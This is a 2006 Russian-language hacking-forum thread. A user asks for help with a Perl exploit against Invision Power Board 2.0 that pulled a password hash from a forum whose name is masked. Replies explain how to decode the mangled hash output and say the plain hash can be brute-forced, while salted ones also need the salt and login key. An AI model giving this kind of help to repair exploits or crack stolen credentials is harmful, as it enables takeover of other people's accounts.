ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Помогите исправить эксплойт для IPB 2.0.*
  #1  
Старый 06.02.2006, 10:11
Аватар для ProblemaT
ProblemaT
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841

Репутация: -4
По умолчанию Помогите исправить эксплойт для IPB 2.0.*

Код HTML:
C:\Perl\bin>perl C:\Perl\ipb2x.pl forum.*********.ru / 1 
 [~]         SERVER : forum.*********.ru 
 [~]           PATH : / 
 [~]      MEMBER ID : 1  
 [~] VALUE TO STEAL :  
 [~] SEARCHING THE EASIEST WAY... [-0][ DONE ] 

 SIMPLE PASS HASH :56850255799c99c98b480101e101e97a56897a55748054699c52499c51352497a491546568579491102f568524101e55798b
Это чо за бодяга, поидее хеш md5(solt)md5(pass) должен состоять из 64 символов, а тут аж целыз сто...

Хз может я просто ошибку не правильно исправил в этом сплойте от coyl`а...

Последний раз редактировалось ProblemaT; 06.02.2006 в 10:15..
 

  #2  
Старый 06.02.2006, 11:47
Аватар для Utochka
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
Провел на форуме:
1867718

Репутация: 268


По умолчанию

Да действительно ты не исправил ошибку в сплойте, если ты ее исправишь то вместо этих цифр будет обычный хеш. Эти цифры тоже можно привести к нормальному виду.
Надо поделить хеш на двух и трех значный цифры, после чего преобразовать их в буквы вот этой строкой chr(цифра). Думаю скрипт который бы преобразовывал написать легко, а еще легче исправить сплойт.
 

  #3  
Старый 06.02.2006, 12:50
Аватар для taba4ok
taba4ok
Новичок
Регистрация: 20.07.2005
Сообщений: 18
Провел на форуме:
1573341

Репутация: 63
По умолчанию

Хех интересно.
Помучитса однако придетса :d
 

  #4  
Старый 06.02.2006, 12:53
Аватар для ProblemaT
ProblemaT
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841

Репутация: -4
По умолчанию

Всё разобрался. Тема закрыта.
 

  #5  
Старый 06.02.2006, 13:04
Аватар для Azazel
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию

И simple pass hash это будет нормальный хэш, который можно брутить.
Солёный будет если ты получишь Pass salt и Member login key.
__________________
Full DNS report
 
Закрытая тема





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ